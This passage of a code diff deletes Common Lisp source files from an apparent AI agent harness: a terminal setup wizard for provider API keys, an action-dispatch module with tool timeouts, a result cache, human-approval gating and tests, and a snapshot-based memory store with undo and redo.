-          (add-string win "  (no matching commands)" :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
-          (incf y)))
-    ;; Footer
-    (add-string win " ↑↓ Navigate  Enter Execute  Esc Close"
-                :y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
-    (refresh win)
-    (- h 0)))
-
-(defun view-wizard-in-panel (win)
-  "Render the setup wizard in the bottom-anchored minibuffer panel. Three modes: provider-list, key-entry, cascade-config."
-  (clear win)
-  (setf (color-pair win) (list (theme-color :border) (theme-color :background)))
-  (box win 0 0)
-  (let* ((w (or (width win) 70))
-         (h (or (height win) 14))
-         (y 1)
-         (mode (st :wizard-mode))
-         (error-msg (st :wizard-error))
-         (selected-idx (st :wizard-selected-idx))
-         (providers (passepartout.channel-tui::wizard-provider-list))
-         (configured (st :wizard-providers)))
-    (add-string win "Setup Wizard" :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
-    (incf y 2)
-    (case mode
-      (:provider-list
-       (let ((count (/ (length configured) 2)))
-         (add-string win (format nil "Configure Providers~a"
-                                 (if (> count 0) (format nil " — ~d configured" count) ""))
-                     :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
-         (incf y)
-         (loop for p in providers
-               for i from 0
-               do (let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
-                         (name (car meta))
-                         (key (getf configured p))
-                         (prefix (if (= i selected-idx) "> " "  "))
-                         (suffix (if key " ✓" ""))
-                         (color (if (= i selected-idx)
-                                    (theme-color :highlight)
-                                    (theme-color :dim))))
-                    (add-string win (format nil "~a~a~a" prefix name suffix)
-                                :y y :x 3 :n (- w 6) :fgcolor color)
-                    (incf y)))
-         (incf y)
-         (add-string win " Done — configure cascade"
-                     :y y :x 3 :n (- w 6)
-                     :fgcolor (if (>= selected-idx (length providers))
-                                  (theme-color :highlight)
-                                  (theme-color :dim)))
-         (when (>= selected-idx (length providers))
-           (add-string win ">" :y y :x 1 :n 2 :fgcolor (theme-color :highlight))))
-      (:key-entry
-       (let* ((provider (st :wizard-current-provider))
-              (meta (passepartout.channel-tui::wizard-provider-meta provider))
-              (name (car meta))
-              (url (cadr meta))
-              (input (or (st :wizard-input) "")))
-         (add-string win (format nil "API Key: ~a" name) :y y :x 2 :n (- w 4) :fgcolor (theme-color :agent))
-         (incf y)
-         (when url
-           (add-string win (format nil "Get key at: ~a" url) :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
-           (incf y))
-         (add-string win "Enter your API key." :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
-         (incf y 2)
-         (add-string win (format nil "Key: > ~a" input) :y y :x 3 :n (- w 6) :fgcolor (theme-color :input))
-         (incf y)
-         (when error-msg
-           (add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error))
-           (incf y))
-         (incf y)
-         (add-string win "Enter=Save  Esc=Back  Bksp=Edit  Ctrl+U=Clear"
-                     :y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))
-         (return-from view-wizard-in-panel)))
-      (:cascade-config
-       (let* ((slot (st :wizard-cascade-slot))
-              (slot-providers (getf (st :wizard-cascade) slot))
-              (slot-label (cadr (assoc slot passepartout.channel-tui::*wizard-cascade-labels*)))
-              (count (/ (length configured) 2)))
-         (add-string win (format nil "Configure Cascade — ~d provider~:p" count)
-                     :y y :x 2 :n (- w 4) :fgcolor (theme-color :dim))
-         (incf y)
-         (add-string win (or slot-label "Unknown") :y y :x 2 :n (- w 4) :fgcolor (theme-color :accent))
-         (incf y)
-         (let ((shown nil))
-           (loop for p in providers
-                 for i from 0
-                 do (when (getf configured p)
-                      (let* ((meta (passepartout.channel-tui::wizard-provider-meta p))
-                             (name (car meta))
-                             (in-slot (member p slot-providers))
-                             (prefix (if (= i selected-idx) "> " "  "))
-                             (mark (if in-slot " [✓]" " [ ]"))
-                             (color (if (= i selected-idx)
-                                        (theme-color :highlight)
-                                        (if in-slot (theme-color :gate-passed) (theme-color :dim)))))
-                        (add-string win (format nil "~a~a~a" prefix name mark)
-                                    :y y :x 3 :n (- w 6) :fgcolor color)
-                        (incf y)
-                        (push t shown))))
-           (unless shown
-             (add-string win "  (no providers configured)"
-                         :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))
-             (incf y)))
-         (incf y)
-         (add-string win (format nil "Cascade: ~{~a~^, ~}"
-                                 (or slot-providers '("(none)")))
-                      :y y :x 3 :n (- w 6) :fgcolor (theme-color :dim))))
-    (when error-msg
-      (incf y)
-      (add-string win (format nil "! ~a" error-msg) :y y :x 3 :n (- w 6) :fgcolor (theme-color :error)))
-    (let ((footer (case mode
-                    (:provider-list "↑↓ Navigate  Enter=Select  Esc=Back  Ctrl+D=Remove")
-                    (:cascade-config "↑↓ Select  Enter=Toggle  Tab=Next Quadrant  Ctrl+S=Save  Esc=Back")
-                    (t ""))))
-      (when footer
-        (add-string win footer :y (- h 0) :x 2 :n (- w 4) :fgcolor (theme-color :dim))))
-    (- h 0)))))
-
-(in-package :passepartout-tui-view-tests)
-
-(test test-theme-hex-string-keys-exist
-  "v0.8.0: all 27 theme keys are present in *tui-theme*."
-  (let* ((theme passepartout.channel-tui::*tui-theme*)
-         (required '(:user :agent :system :input :timestamp :help :error :warning
-                     :connected :disconnected :busy :idle
-                     :gate-passed :gate-blocked :gate-approval :hitl
-                     :tool-running :tool-success :tool-failure :tool-output
-                     :scroll-indicator :border :background
-                     :rule-count :focus-map
-                     :dim :highlight :accent)))
-    (dolist (key required)
-      (is (getf theme key) (format nil "~a should be defined" key)))))
-
-(test test-theme-presets-count
-  "v0.8.0: 8 presets defined: dark, light, solarized, gruvbox, nord, tokyonight, catppuccin, monokai."
-  (let* ((presets passepartout.channel-tui::*tui-theme-presets*)
-         (names '(:dark :light :solarized :gruvbox :nord :tokyonight :catppuccin :monokai)))
-    (dolist (name names)
-      (is (getf presets name) (format nil "~a preset should exist" name)))))
-
-(test test-minibuffer-init-state-fields
-  "Contract v0.8.0: init-state includes minibuffer-mode, selected-idx, filter; excludes palette and wizard-visible."
-  (passepartout.channel-tui::init-state)
-  (is (null (passepartout.channel-tui::st :minibuffer-mode)))
-  (is (= 0 (passepartout.channel-tui::st :minibuffer-selected-idx)))
-  (is (string= "" (passepartout.channel-tui::st :minibuffer-filter)))
-  (is (null (getf passepartout.channel-tui::*state* :palette-visible)))
-  (is (null (getf passepartout.channel-tui::*state* :wizard-visible))))
-
-(test test-slash-commands-entry-count
-  "Contract v0.8.0: *slash-commands* has at least 19 entries, each with :name, :desc, :action."
-  (let ((cmds passepartout.channel-tui::*slash-commands*))
-    (is (>= (length cmds) 19))
-    (dolist (c cmds)
-      (is (stringp (getf c :name)))
-      (is (stringp (getf c :desc)))
-      (is (functionp (getf c :action))))))

lisp/core-act.lisp

@@ -1,371 +0,0 @@
-(in-package :passepartout)
-
-(defvar *actuator-default* :cli
-  "The actuator used when no explicit target is specified.")
-
-(defvar *actuator-silent* '(:cli :system-message :emacs)
-  "List of actuators that don't generate tool-output feedback.")
-
-(defun actuator-initialize ()
-  "Register core actuators and load configuration."
-  (let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
-        (silent (uiop:getenv "SILENT_ACTUATORS")))
-    (when def
-      (setf *actuator-default* (intern (string-upcase def) :keyword)))
-    (when silent
-      (setf *actuator-silent*
-            (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
-                    (uiop:split-string silent :separator '(#\,))))))
-
-  (register-actuator :system #'action-system-execute)
-  (register-actuator :tool #'action-tool-execute)
-
-  (register-actuator :tui (lambda (action context)
-                             (declare (ignore context))
-                             (let* ((meta (getf action :meta))
-                                    (stream (getf meta :reply-stream)))
-                               (when (and stream (open-stream-p stream))
-                                 ;; Enrich response with differentiator visualization data
-                              (setf (getf (getf action :payload) :rule-count)
-                                    (if (boundp '*hitl-pending*)
-                                        (hash-table-count *hitl-pending*)
-                                        0))
-                                 (setf (getf (getf action :payload) :foveal-id)
-                                       (getf context :foveal-id))
-                                 ;; v0.8.0: sidebar enrichment via fboundp guards
-                                 (when (fboundp 'dispatcher-block-counts-summary)
-                                   (setf (getf (getf action :payload) :block-counts)
-                                         (dispatcher-block-counts-summary)))
-                                 (when (fboundp 'context-usage-percentage)
-                                   (setf (getf (getf action :payload) :context-usage)
-                                         (context-usage-percentage)))
-                                 (when (fboundp 'tool-modified-files-summary)
-                                   (setf (getf (getf action :payload) :modified-files)
-                                         (tool-modified-files-summary)))
-                                 (when (fboundp 'cost-session-summary)
-                                   (setf (getf (getf action :payload) :session-cost)
-                                         (cost-session-summary)))
-                                 (format stream "~a" (frame-message action))
-                                 (finish-output stream))))))
-
-(defun action-dispatch (action context)
-  "Route an approved action to its registered actuator."
-  (let ((payload (proto-get action :payload)))
-    (when (eq (proto-get payload :sensor) :heartbeat)
-      (return-from action-dispatch nil))
-
-    (when (and action (listp action))
-      (let* ((meta (proto-get context :meta))
-             (source (proto-get meta :source))
-             (raw-target (or (proto-get action :target) source *actuator-default*))
-             (target (intern (string-upcase (string raw-target)) :keyword))
-             ;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
-             (actual-target (if (and (eq target :system)
-                                     (getf meta :reply-stream)
-                                     (ignore-errors (open-stream-p (getf meta :reply-stream))))
-                               :tui
-                               target))
-             (actuator-fn (gethash actual-target *actuator-registry*)))
-        (when (and meta (null (getf action :meta)))
-          (setf (getf action :meta) meta))
-        (if actuator-fn
-            (funcall actuator-fn action context)
-            (log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
-
-(defun action-system-execute (action context)
-  "Execute internal harness commands."
-  (declare (ignore context))
-  (let* ((payload (getf action :payload))
-         (cmd (getf payload :action)))
-    (case cmd
-      (:eval
-       (eval (let ((*read-eval* nil)) (read-from-string (getf payload :code)))))
-      (:message
-       (log-message "ACT [System]: ~a" (getf payload :text)))
-      (t
-       (log-message "ACT ERROR [System]: Unknown command '~s'" cmd)))))
-
-(defun action-tool-execute (action context)
-  "Execute a registered cognitive tool."
-  (let* ((payload (getf action :payload))
-         (tool-name (getf payload :tool))
-         (tool-args (getf payload :args))
-         (depth (getf context :depth 0))
-         (meta (getf context :meta))
-         (source (getf meta :source))
-         (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
-    ;; v0.7.2: snapshot before destructive tool execution
-    (when (and tool (not (cognitive-tool-read-only-p tool)))
-      (undo-snapshot))
-    (if tool
-        (handler-case
-            (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (is-read-only (cognitive-tool-read-only-p tool))
-                   (cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
-                   (cached (when cache-key (gethash cache-key *tool-cache*)))
-                   (raw-result (if cached
-                                   (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
-                                   (let* ((res (call-with-tool-timeout tool-name
-                                                (lambda () (funcall (cognitive-tool-body tool) clean-args)))))
-                                     (when (and is-read-only cache-key)
-                                       (setf (gethash cache-key *tool-cache*) res))
-                                     res))))
-              ;; Timeout: propagate error
-              (when (and (listp raw-result) (eq (getf raw-result :status) :error))
-                (return-from action-tool-execute
-                  (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                        :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
-                                      :MESSAGE (getf raw-result :message)))))
-              (when source
-                (action-dispatch (list :TYPE :REQUEST :TARGET source 
-                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
-                                context))
-              (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                    :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
-          (error (c)
-            (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                  :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
-        (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-               :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
-
-(defvar *tool-timeouts* (make-hash-table :test 'equal)
-  "Per-tool timeout in seconds. Default 120s.")
-
-;; Defaults: shell=300s, search-files=30s, eval-form=10s
-(setf (gethash "shell" *tool-timeouts*) 300)
-(setf (gethash "search-files" *tool-timeouts*) 30)
-(setf (gethash "eval-form" *tool-timeouts*) 10)
-
-(defun tool-timeout (tool-name)
-  "Return timeout for tool-name, default 120 seconds."
-  (gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
-
-(defun call-with-tool-timeout (tool-name fn)
-  "Execute FN within the timeout for TOOL-NAME.
-On timeout, returns (:status :error :message ...)."
-  (let ((timeout (tool-timeout tool-name)))
-    (handler-case
-        (sb-ext:with-timeout timeout
-          (funcall fn))
-      (sb-ext:timeout (c)
-        (declare (ignore c))
-        (list :status :error :message
-              (format nil "Timed out after ~a second~:p" timeout))))))
-
-(defun verify-write (filepath expected-content)
-  "Verify that FILEPATH contains EXPECTED-CONTENT after write.
-Returns T on match, logs and returns NIL on mismatch or read error."
-  (handler-case
-      (let ((actual (uiop:read-file-string filepath)))
-        (if (string= expected-content actual)
-            t
-            (progn
-              (log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
-              nil)))
-    (error (c)
-      (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
-      nil)))
-
-;; v0.7.2: read-only tool response cache
-(defvar *tool-cache* (make-hash-table :test 'equal)
-  "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
-
-(defun tool-cache-key (tool-name args)
-  "Build a cache key from TOOL-NAME and ARGS."
-  (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
-
-(defun tool-cache-clear ()
-  "Clear the read-only tool response cache."
-  (clrhash *tool-cache*))
-
-(defun tool-result-format (tool-name result)
-  "Format a tool result for display."
-  (if (listp result)
-      (let ((status (getf result :status))
-            (content (getf result :content))
-            (msg (getf result :message)))
-        (cond
-          ((and (eq status :success) content) (format nil "~a" content))
-          ((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
-          (t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
-      (format nil "TOOL [~a] RESULT: ~a" tool-name result)))
-
-(defun loop-gate-act (signal)
-  "Final stage of the metabolic pipeline: Actuation.
-For approval-required actions, creates a Flight Plan instead of executing."
-  (let* ((approved (getf signal :approved-action))
-         (signal-status (getf signal :status))
-         (type (getf signal :type))
-         (meta (getf signal :meta))
-         (source (getf meta :source))
-         (feedback nil))
-    ;; HITL: if the approved action requires human approval,
-    ;; create a Flight Plan (Emacs) and HITL entry (all gateways).
-    (when (and approved
-               (eq (getf approved :level) :approval-required))
-      (let* ((payload (getf approved :payload))
-             (blocked-action (getf payload :action))
-             (hitl (hitl-create blocked-action)))
-        (log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
-        (dispatcher-flight-plan-create blocked-action)
-        (setf (getf signal :status) :suspended)
-        (action-dispatch (list :target source
-                               :payload (list :text (getf hitl :message)))
-                         signal)
-        (setf approved nil)
-        (setf feedback nil)))
-    (when approved
-      (let* ((original-type (getf approved :type))
-             (verified (cognitive-verify approved signal)))
-        (if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
-                 (not (eq (getf verified :level) :approval-required))
-                 (not (member original-type '(:LOG :EVENT))))
-            (progn
-              (log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
-              (setf (getf signal :approved-action) nil)
-              (setf feedback verified))
-            (progn
-              (setf (getf signal :approved-action) verified)
-              (setf approved verified)))))
-
-    (case type
-      (:REQUEST (action-dispatch signal signal))
-      (:LOG (action-dispatch signal signal))
-      (:EVENT
-       (if approved
-           (let* ((target (getf approved :target))
-                  (result (action-dispatch approved signal)))
-             (cond
-               ((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
-                (setf feedback result))
-               ((and result (not (member target *actuator-silent*)))
-                (setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
-                                    :payload (list :sensor :tool-output :result result :tool approved))))))
-           (when source (action-dispatch signal signal)))))
-    (setf (getf signal :status) :acted)
-    feedback))
-
-(defun act-gate (signal)
-  (loop-gate-act signal))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-act-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-act-suite))
-
-(in-package :passepartout-pipeline-act-tests)
-
-(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
-(in-suite pipeline-act-suite)
-
-(test test-loop-gate-act-basic
-  "Contract 1: approved action reaches :acted status via loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
-          (result (loop-gate-act signal)))
-    (is (eq :acted (getf signal :status)))
-    (is (null result))))
-
-(test test-loop-gate-act-no-approved-action
-  "Contract 1: signal with no approved-action still reaches :acted status."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((signal (list :type :EVENT :status nil :depth 0)))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))))
-
-(test test-loop-gate-act-last-mile-reject
-  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-blocker
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx action))
-                    (list :type :LOG :payload (list :text "Last-mile block"))))
-  (let* ((signal (list :type :EVENT :status nil :depth 0
-                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
-    (loop-gate-act signal)
-    (is (eq :acted (getf signal :status)))
-    (is (null (getf signal :approved-action)))))
-
-(test test-loop-gate-act-preserves-meta
-  "Contract 1: signal metadata is not mutated by loop-gate-act."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((meta '(:source :tui :session "s1"))
-         (signal (list :type :EVENT :status nil :depth 0 :meta meta
-                        :approved-action '(:target :cli :payload (:text "test")))))
-    (loop-gate-act signal)
-    (is (equal meta (getf signal :meta)))))
-
-(test test-action-dispatch-routes
-  "Contract 3: action-dispatch routes to registered actuators without crashing."
-  (actuator-initialize)
-  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
-                                  '(:type :EVENT :depth 0))))
-    (is (numberp result) "eval should return a number")))
-
-(test test-tool-timeout-shell
-  "Contract v0.7.2: shell timeout is 300 seconds."
-  (is (= 300 (passepartout::tool-timeout "shell"))))
-
-(test test-tool-timeout-unknown
-  "Contract v0.7.2: unknown tool gets default 120s."
-  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
-
-(test test-verify-write-match
-  "Contract v0.7.2: verify-write returns T on match."
-  (let ((path "/tmp/passepartout-verify-test.org")
-        (content "test content"))
-    (with-open-file (f path :direction :output :if-exists :supersede)
-      (write-string content f))
-    (unwind-protect
-         (is (passepartout::verify-write path content))
-      (ignore-errors (delete-file path)))))
-
-(test test-tool-timeout-enforcement
-  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
-  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
-  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "sleep-forever"
-                                          :read-only-p nil
-                                          :body (lambda (args)
-                                                  (declare (ignore args))
-                                                  (sleep 10)
-                                                  "done")))
-  (unwind-protect
-       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
-              (ctx '(:depth 0))
-              (result (passepartout::action-tool-execute action ctx)))
-         (is (eq :EVENT (getf result :TYPE)))
-         (let ((payload (getf result :PAYLOAD)))
-           (is (eq :tool-error (getf payload :SENSOR)))
-           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
-    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
-    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
-
-(test test-tool-cache-read-only
-  "Contract v0.7.2: read-only tool results are cached and reused."
-  (let ((call-count 0))
-    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "cache-test"
-                                            :read-only-p t
-                                            :body (lambda (args)
-                                                    (declare (ignore args))
-                                                    (incf call-count)
-                                                    (list :status :success :content (format nil "call ~d" call-count)))))
-    (unwind-protect
-         (progn
-           (clrhash passepartout::*tool-cache*)
-           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
-                  (ctx '(:depth 0))
-                  (r1 (passepartout::action-tool-execute action ctx))
-                  (r2 (passepartout::action-tool-execute action ctx)))
-             (is (= 1 call-count) "Second call should hit cache, not re-execute")
-             (let ((p1 (getf r1 :PAYLOAD))
-                   (p2 (getf r2 :PAYLOAD)))
-               (is (string= (getf (getf p1 :RESULT) :CONTENT)
-                            (getf (getf p2 :RESULT) :CONTENT))))))
-      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
-      (clrhash passepartout::*tool-cache*))))

lisp/core-memory.lisp

@@ -1,351 +0,0 @@
-(in-package :passepartout)
-
-(defvar *memory-store* (make-hash-table :test 'equal))
-
-(defvar *memory-history* (make-hash-table :test 'equal)
-  "Immutable Merkle-Tree versioning store mapping hashes to objects.")
-
-(defun memory-object-get (id)
-  "Retrieves an memory-object by ID from *memory-store*."
-  (gethash id *memory-store*))
-
-(defun memory-objects-by-attribute (attr value)
-  "Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE."
-  (let ((results nil))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (when (equal (getf (memory-object-attributes obj) attr) value)
-                 (push obj results)))
-             *memory-store*)
-    (nreverse results)))
-
-(defun memory-id-generate ()
-  "Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs."
-  (concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid)))))
-
-(defstruct memory-object
-  id type attributes content vector parent-id children version last-sync hash scope)
-
-(defmethod make-load-form ((obj memory-object) &optional env)
-  (make-load-form-saving-slots obj :environment env))
-
-(defun deep-copy-memory-object (obj)
-  "Creates a full copy of an memory-object, including fresh lists for attributes and children."
-  (make-memory-object :id (memory-object-id obj)
-                  :type (memory-object-type obj)
-                  :attributes (copy-list (memory-object-attributes obj))
-                  :content (memory-object-content obj)
-                  :vector (memory-object-vector obj)
-                  :parent-id (memory-object-parent-id obj)
-                  :children (copy-list (memory-object-children obj))
-                  :version (memory-object-version obj)
-                  :last-sync (memory-object-last-sync obj)
-                  :hash (memory-object-hash obj)
-                  :scope (memory-object-scope obj)))
-
-(defun memory-merkle-hash (id type attributes content child-hashes)
-  (let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
-         (sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
-         (attr-string (format nil "~s" sorted-alist))
-         (children-string (format nil "~{~a~}" child-hashes))
-         (data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
-                               id type attr-string (or content "") children-string))
-         (digester (ironclad:make-digest :sha256)))
-    (ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
-    (ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
-
-(defun ingest-ast (ast &key parent-id (scope :memex))
-  (let* ((type (getf ast :type))
-         (props (getf ast :properties))
-         (id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
-         (contents (getf ast :contents))
-         (raw-content (when (eq type :HEADLINE)
-                        (format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
-         (child-ids nil) (child-hashes nil))
-    (dolist (child contents)
-      (when (listp child)
-        (let ((child-id (ingest-ast child :parent-id id :scope scope)))
-          (push child-id child-ids)
-          (let ((child-obj (gethash child-id *memory-store*)))
-            (when child-obj (push (memory-object-hash child-obj) child-hashes))))))
-    (setf child-ids (nreverse child-ids))
-    (setf child-hashes (nreverse child-hashes))
-    (let* ((hash (memory-merkle-hash id type props raw-content child-hashes))
-           (existing-obj (gethash hash *memory-history*))
-           (obj (or existing-obj
-                    (make-memory-object 
-                     :id id :type type :attributes props :content raw-content
-                     :parent-id parent-id :children child-ids
-                     :version (get-universal-time) :last-sync (get-universal-time)
-                     :hash hash :scope scope))))
-      (unless existing-obj (setf (gethash hash *memory-history*) obj))
-      (setf (gethash id *memory-store*) obj)
-      ;; Populate embedding vector for new objects
-      (when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
-        (handler-case
-            (setf (memory-object-vector obj)
-                  (embeddings-compute raw-content))
-          (error (c)
-            (log-message "INGEST: Embedding deferred: ~a" c))))
-      id)))
-
-(defvar *memory-snapshots* nil)
-
-(defun memory-hash-table-copy (hash-table)
-  "Creates an independent copy of a hash table."
-  (let ((new-table (make-hash-table :test (hash-table-test hash-table) 
-                                     :size (hash-table-size hash-table))))
-    (maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
-    new-table))
-
-(defun snapshot-memory ()
-  "Creates a CoW snapshot of *memory-store* for rollback recovery."
-  (let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*))))
-    (maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*)
-    (push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*)
-    (when (> (length *memory-snapshots*) 20)
-      (setf *memory-snapshots* (subseq *memory-snapshots* 0 20)))
-    (log-message "MEMORY - CoW Memory snapshot created.")))
-
-(defun rollback-memory (&optional (index 0))
-  "Restores *memory-store* from a snapshot. INDEX 0 = most recent."
-  (let ((snapshot (nth index *memory-snapshots*)))
-    (if snapshot
-        (progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data)))
-               (log-message "MEMORY - Memory rolled back to snapshot ~a" index))
-        (log-message "MEMORY ERROR - Snapshot ~a not found." index))))
-
-(defvar *memory-snapshot-path* nil)
-
-(defun memory-snapshot-path-ensure ()
-  "Returns the path to the memory snapshot file, resolving env or default."
-  (or *memory-snapshot-path*
-      (let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
-        (setf *memory-snapshot-path*
-              (or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
-
-(defun save-memory-to-disk ()
-  "Writes the entire memory and history store to disk as a plist."
-  (let ((path (memory-snapshot-path-ensure)))
-    (with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
-      (let ((memory-alist nil) (history-alist nil))
-        (maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*)
-        (maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*)
-        (prin1 (list :memory memory-alist :history-store history-alist) stream)))
-    (log-message "MEMORY - Saved to ~a" path)))
-
-(defun load-memory-from-disk ()
-  "Reads memory state from disk and restores *memory-store* and *memory-history*."
-  (let ((path (memory-snapshot-path-ensure)))
-    (when (uiop:file-exists-p path)
-      (handler-case
-          (with-open-file (stream path :direction :input)
-            (let ((data (let ((*read-eval* nil)) (read stream nil))))
-              (when data
-                (let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
-                  (setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist)))
-                  (dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv)))
-                  (setf *memory-history* (make-hash-table :test 'equal :size (length history-alist)))
-                  (dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv)))
-                  (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
-          (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
-  t)
-
-;; v0.7.2 — Undo/Redo
-(defvar *undo-stack* nil
-  "Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
-(defvar *redo-stack* nil
-  "Stack of snapshots saved during undo for redo. Max 20.")
-
-(defun undo-snapshot ()
-  "Save current memory state to the undo stack."
-  (let ((snap (list :timestamp (get-universal-time)
-                    :data (memory-hash-table-copy *memory-store*))))
-    (push snap *undo-stack*)
-    (when (> (length *undo-stack*) 20)
-      (setf *undo-stack* (subseq *undo-stack* 0 20)))))
-
-(defun undo (&optional source)
-  "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
-  (declare (ignore source))
-  (if *undo-stack*
-      (let ((snap (pop *undo-stack*)))
-        (push (list :timestamp (get-universal-time)
-                    :data (memory-hash-table-copy *memory-store*))
-              *redo-stack*)
-        (when (> (length *redo-stack*) 20)
-          (setf *redo-stack* (subseq *redo-stack* 0 20)))
-        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
-        (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
-        t)
-      (progn (log-message "UNDO: No snapshots to undo") nil)))
-
-(defun redo (&optional source)
-  "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
-  (declare (ignore source))
-  (if *redo-stack*
-      (let ((snap (pop *redo-stack*)))
-        (push (list :timestamp (get-universal-time)
-                    :data (memory-hash-table-copy *memory-store*))
-              *undo-stack*)
-        (when (> (length *undo-stack*) 20)
-          (setf *undo-stack* (subseq *undo-stack* 0 20)))
-        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
-        (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
-        t)
-      (progn (log-message "REDO: No snapshots to redo") nil)))
-
-(defun audit-node (node-id)
-  "Return audit info for a memory object by ID."
-  (let ((obj (memory-object-get node-id)))
-    (when obj
-      (list :id node-id :type (memory-object-type obj)
-            :version (memory-object-version obj)
-            :hash (or (memory-object-hash obj) "(none)")
-            :scope (memory-object-scope obj)))))
-
-(defun audit-verify-hash ()
